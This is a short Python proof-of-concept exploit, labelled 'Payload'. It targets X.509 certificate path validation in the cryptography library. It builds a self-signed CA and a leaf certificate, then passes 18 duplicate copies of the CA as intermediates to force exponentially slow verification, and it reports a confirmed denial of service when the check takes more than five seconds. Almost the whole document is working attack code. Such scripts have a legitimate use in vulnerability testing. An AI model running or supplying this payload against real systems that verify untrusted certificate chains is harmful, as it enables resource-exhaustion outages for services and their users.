Payload

import time
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

def generate_private_key():
    """Generates a new RSA private key."""
    return rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
    )

def create_certificate(subject_name, issuer_name, subject_key, issuer_key, is_ca, is_self_signed=False):
    """Creates an X.509 certificate."""
    builder = x509.CertificateBuilder()
    builder = builder.subject_name(subject_name)
    builder = builder.issuer_name(issuer_name)
    builder = builder.public_key(subject_key.public_key())
    builder = builder.serial_number(x509.random_serial_number())
    builder = builder.not_valid_before(datetime.datetime.utcnow())
    builder = builder.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=30))
    builder = builder.add_extension(
        x509.BasicConstraints(ca=is_ca, path_length=None),
        critical=True,
    )
    signing_key = subject_key if is_self_signed else issuer_key
    cert = builder.sign(signing_key, hashes.SHA256())
    return cert

# 1. Create the self-signed certificate that will be duplicated.
dup_key = generate_private_key()
dup_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"Exploit Self-Signed CA")])
dup_cert = create_certificate(
    subject_name=dup_name,
    issuer_name=dup_name,
    subject_key=dup_key,
    issuer_key=None,
    is_ca=True,
    is_self_signed=True
)

# 2. Create the leaf certificate signed by the duplicated CA.
leaf_key = generate_private_key()
leaf_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"dos.example.com")])
leaf_cert = create_certificate(
    subject_name=leaf_name,
    issuer_name=dup_name,
    subject_key=leaf_key,
    issuer_key=dup_key,
    is_ca=False
)

# 3. Create a list containing many copies of the same self-signed certificate.
# This causes the exponential blowup in path validation.
# A value of 18-20 is usually enough to cause a >5s delay.
num_duplicates = 18
intermediate_certs = [dup_cert] * num_duplicates

# 4. Set up the verifier store.
# One copy of the self-signed cert is trusted.
store = x509.Store([dup_cert])

print(f"[*] Attempting to verify chain with {num_duplicates} duplicate intermediate certificates...")
start_time = time.time()

try:
    # On vulnerable versions, this verification will take an exceptionally long time before failing.
    store.verify(leaf_cert, intermediate_certs)
except Exception:
    # A verification error is expected. We are measuring the time it takes to get here.
    pass
finally:
    end_time = time.time()
    duration = end_time - start_time
    print(f"[+] Verification processing took {duration:.4f} seconds.")
    if duration > 5.0:
        print("[!] VULNERABILITY CONFIRMED: Resource exhaustion DoS triggered.")